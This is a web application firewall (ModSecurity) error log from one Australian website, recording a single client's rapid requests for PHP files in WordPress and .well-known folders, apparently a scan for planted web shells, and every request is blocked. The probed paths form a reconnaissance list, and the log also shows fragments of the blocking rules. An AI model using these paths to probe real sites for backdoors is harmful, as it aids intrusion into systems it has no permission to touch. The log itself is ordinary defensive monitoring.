[Mon Dec 22 21:42:43.477607 2025] [:error] [pid 58078:tid 58093] [client 4.230.34.85:5899] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aUlK05WKg9Bf8njHlB5eNgAAAAo"]
[Mon Dec 22 21:42:43.852046 2025] [:error] [pid 58078:tid 58095] [client 4.230.34.85:5961] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aUlK05WKg9Bf8njHlB5eNwAAAAw"]
[Mon Dec 22 21:42:44.196542 2025] [:error] [pid 33471:tid 33478] [client 4.230.34.85:5996] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aUlK1L5BeNE7regJ7ixVnAAAAUQ"]
[Mon Dec 22 21:42:44.527440 2025] [:error] [pid 33440:tid 33458] [client 4.230.34.85:11880] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUlK1JOsUWKqgxu6QTRAhwAAARA"]
[Mon Dec 22 21:42:44.871310 2025] [:error] [pid 58172:tid 58191] [client 4.230.34.85:5938] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUlK1OSVKDT5jWOcnSUDtAAAANE"]
[Mon Dec 22 21:42:45.310178 2025] [:error] [pid 33440:tid 33446] [client 4.230.34.85:5972] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUlK1ZOsUWKqgxu6QTRAiAAAAQQ"]
[Mon Dec 22 21:42:45.668280 2025] [:error] [pid 33564:tid 33586] [client 4.230.34.85:11816] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aUlK1QSHeG6oLmMnKY7UugAAAhM"]
[Mon Dec 22 21:42:45.990454 2025] [:error] [pid 56155:tid 56245] [client 4.230.34.85:11858] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUlK1WG8a3wQucsuN67_TwAAA5c"]
[Mon Dec 22 21:42:46.300670 2025] [:error] [pid 56155:tid 56228] [client 4.230.34.85:6123] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUlK1mG8a3wQucsuN67_UAAAA4Y"]
[Mon Dec 22 21:42:46.612885 2025] [:error] [pid 33535:tid 33555] [client 4.230.34.85:5941] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUlK1mOCI8D9Xtn-n7TPHAAAAdI"]
[Mon Dec 22 21:42:46.986408 2025] [:error] [pid 58078:tid 58094] [client 4.230.34.85:6093] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aUlK1pWKg9Bf8njHlB5ePAAAAAs"]
[Mon Dec 22 21:42:47.328385 2025] [:error] [pid 56155:tid 56240] [client 4.230.34.85:5952] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aUlK12G8a3wQucsuN67_UQAAA5I"]
[Mon Dec 22 21:42:47.796646 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:5919] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aUlK15WKg9Bf8njHlB5ePQAAABU"]
[Mon Dec 22 21:42:48.171843 2025] [:error] [pid 33535:tid 33542] [client 4.230.34.85:5986] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aUlK2GOCI8D9Xtn-n7TPHgAAAcU"]
[Mon Dec 22 21:42:48.513218 2025] [:error] [pid 56044:tid 56053] [client 4.230.34.85:5997] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/security.php"] [unique_id "aUlK2O60uUaieriJqP15RQAAAIU"]
[Mon Dec 22 21:42:48.934416 2025] [:error] [pid 33535:tid 33557] [client 4.230.34.85:6111] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUlK2GOCI8D9Xtn-n7TPIQAAAdQ"]
[Mon Dec 22 21:42:49.302092 2025] [:error] [pid 56080:tid 56128] [client 4.230.34.85:5960] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUlK2ZIHT3YJq9hjDc70FAAAAwQ"]
[Mon Dec 22 21:42:49.642376 2025] [:error] [pid 33535:tid 33554] [client 4.230.34.85:6045] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUlK2WOCI8D9Xtn-n7TPIgAAAdE"]
[Mon Dec 22 21:42:49.954367 2025] [:error] [pid 33564:tid 33571] [client 4.230.34.85:11815] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aUlK2QSHeG6oLmMnKY7UvwAAAgQ"]
[Mon Dec 22 21:42:50.289346 2025] [:error] [pid 33535:tid 33538] [client 4.230.34.85:6137] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUlK2mOCI8D9Xtn-n7TPIwAAAcE"]
[Mon Dec 22 21:42:50.656120 2025] [:error] [pid 58078:tid 58095] [client 4.230.34.85:5984] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUlK2pWKg9Bf8njHlB5ePwAAAAw"]
[Mon Dec 22 21:42:51.026598 2025] [:error] [pid 58078:tid 58101] [client 4.230.34.85:6113] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUlK25WKg9Bf8njHlB5eQQAAABI"]
[Mon Dec 22 21:42:51.360593 2025] [:error] [pid 58078:tid 58096] [client 4.230.34.85:6105] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aUlK25WKg9Bf8njHlB5eRQAAAA0"]
[Mon Dec 22 21:42:51.661122 2025] [:error] [pid 56080:tid 56146] [client 4.230.34.85:6141] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUlK25IHT3YJq9hjDc70GAAAAxY"]
[Mon Dec 22 21:42:51.949660 2025] [:error] [pid 33472:tid 33519] [client 4.230.34.85:5920] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUlK255p2WQpPIK8HAk__gAAAZI"]
[Mon Dec 22 21:42:52.262461 2025] [:error] [pid 58078:tid 58094] [client 4.230.34.85:6009] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUlK3JWKg9Bf8njHlB5eSAAAAAs"]
[Mon Dec 22 21:42:52.544736 2025] [:error] [pid 33472:tid 33515] [client 4.230.34.85:5839] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aUlK3J5p2WQpPIK8HAlAAAAAAY4"]
[Mon Dec 22 21:42:52.836222 2025] [:error] [pid 33472:tid 33517] [client 4.230.34.85:5983] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aUlK3J5p2WQpPIK8HAlAAQAAAZA"]
[Mon Dec 22 21:42:53.142598 2025] [:error] [pid 58172:tid 58182] [client 4.230.34.85:5971] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aUlK3eSVKDT5jWOcnSUDuAAAAMg"]
[Mon Dec 22 21:42:53.470635 2025] [:error] [pid 56080:tid 56127] [client 4.230.34.85:5916] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aUlK3ZIHT3YJq9hjDc70GwAAAwM"]
[Mon Dec 22 21:42:53.862589 2025] [:error] [pid 58172:tid 58181] [client 4.230.34.85:5897] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aUlK3eSVKDT5jWOcnSUDugAAAMc"]
[Mon Dec 22 21:42:54.162777 2025] [:error] [pid 33564:tid 33584] [client 4.230.34.85:11843] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUlK3gSHeG6oLmMnKY7UwwAAAhE"]
[Mon Dec 22 21:42:54.481855 2025] [:error] [pid 58172:tid 58192] [client 4.230.34.85:6075] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUlK3uSVKDT5jWOcnSUDvgAAANI"]
[Mon Dec 22 21:42:54.825036 2025] [:error] [pid 33440:tid 33445] [client 4.230.34.85:5967] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUlK3pOsUWKqgxu6QTRAiwAAAQM"]
[Mon Dec 22 21:42:55.173329 2025] [:error] [pid 58078:tid 58085] [client 4.230.34.85:5977] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUlK35WKg9Bf8njHlB5eSQAAAAI"]
[Mon Dec 22 21:42:55.570949 2025] [:error] [pid 33440:tid 33454] [client 4.230.34.85:6029] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aUlK35OsUWKqgxu6QTRAjQAAAQw"]
[Mon Dec 22 21:42:55.890211 2025] [:error] [pid 58172:tid 58174] [client 4.230.34.85:5975] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aUlK3-SVKDT5jWOcnSUDvwAAAMA"]
[Mon Dec 22 21:42:56.210702 2025] [:error] [pid 58078:tid 58098] [client 4.230.34.85:5933] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aUlK4JWKg9Bf8njHlB5eSgAAAA8"]
[Mon Dec 22 21:42:56.510926 2025] [:error] [pid 58078:tid 58090] [client 4.230.34.85:6063] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aUlK4JWKg9Bf8njHlB5eTAAAAAc"]
[Mon Dec 22 21:42:56.910993 2025] [:error] [pid 56155:tid 56231] [client 4.230.34.85:6069] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUlK4GG8a3wQucsuN67_VQAAA4k"]
[Mon Dec 22 21:42:57.223199 2025] [:error] [pid 58078:tid 58107] [client 4.230.34.85:5829] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUlK4ZWKg9Bf8njHlB5eTwAAABg"]
[Mon Dec 22 21:42:57.532527 2025] [:error] [pid 58078:tid 58087] [client 4.230.34.85:5985] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUlK4ZWKg9Bf8njHlB5eUQAAAAQ"]
[Mon Dec 22 21:42:57.853250 2025] [:error] [pid 33564:tid 33573] [client 4.230.34.85:6122] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aUlK4QSHeG6oLmMnKY7UxwAAAgY"]
[Mon Dec 22 21:42:58.234974 2025] [:error] [pid 56155:tid 56229] [client 4.230.34.85:6071] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUlK4mG8a3wQucsuN67_VgAAA4c"]
[Mon Dec 22 21:42:58.555147 2025] [:error] [pid 33440:tid 33443] [client 4.230.34.85:6018] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUlK4pOsUWKqgxu6QTRAkAAAAQE"]
[Mon Dec 22 21:42:58.866169 2025] [:error] [pid 33564:tid 33577] [client 4.230.34.85:5891] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUlK4gSHeG6oLmMnKY7UzAAAAgo"]
[Mon Dec 22 21:42:59.172608 2025] [:error] [pid 33564:tid 33585] [client 4.230.34.85:5923] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aUlK4wSHeG6oLmMnKY7UzQAAAhI"]
[Mon Dec 22 21:42:59.476894 2025] [:error] [pid 33564:tid 33588] [client 4.230.34.85:5927] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUlK4wSHeG6oLmMnKY7UzwAAAhU"]
[Mon Dec 22 21:42:59.955264 2025] [:error] [pid 56044:tid 56058] [client 4.230.34.85:6138] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUlK4-60uUaieriJqP15TAAAAIo"]
[Mon Dec 22 21:43:00.258149 2025] [:error] [pid 33440:tid 33458] [client 4.230.34.85:5962] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUlK5JOsUWKqgxu6QTRAkwAAARA"]
[Mon Dec 22 21:43:00.568771 2025] [:error] [pid 56080:tid 56144] [client 4.230.34.85:6072] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aUlK5JIHT3YJq9hjDc70JAAAAxQ"]
[Mon Dec 22 21:43:00.872352 2025] [:error] [pid 33564:tid 33570] [client 4.230.34.85:5990] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aUlK5ASHeG6oLmMnKY7U0wAAAgM"]
[Mon Dec 22 21:43:01.168420 2025] [:error] [pid 33440:tid 33462] [client 4.230.34.85:5971] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aUlK5ZOsUWKqgxu6QTRAlgAAARQ"]
[Mon Dec 22 21:43:01.455742 2025] [:error] [pid 56155:tid 56221] [client 4.230.34.85:6104] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aUlK5WG8a3wQucsuN67_WQAAA4A"]
[Mon Dec 22 21:43:01.763820 2025] [:error] [pid 33564:tid 33575] [client 4.230.34.85:5976] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.well-known/log.php"] [unique_id "aUlK5QSHeG6oLmMnKY7U1gAAAgg"]
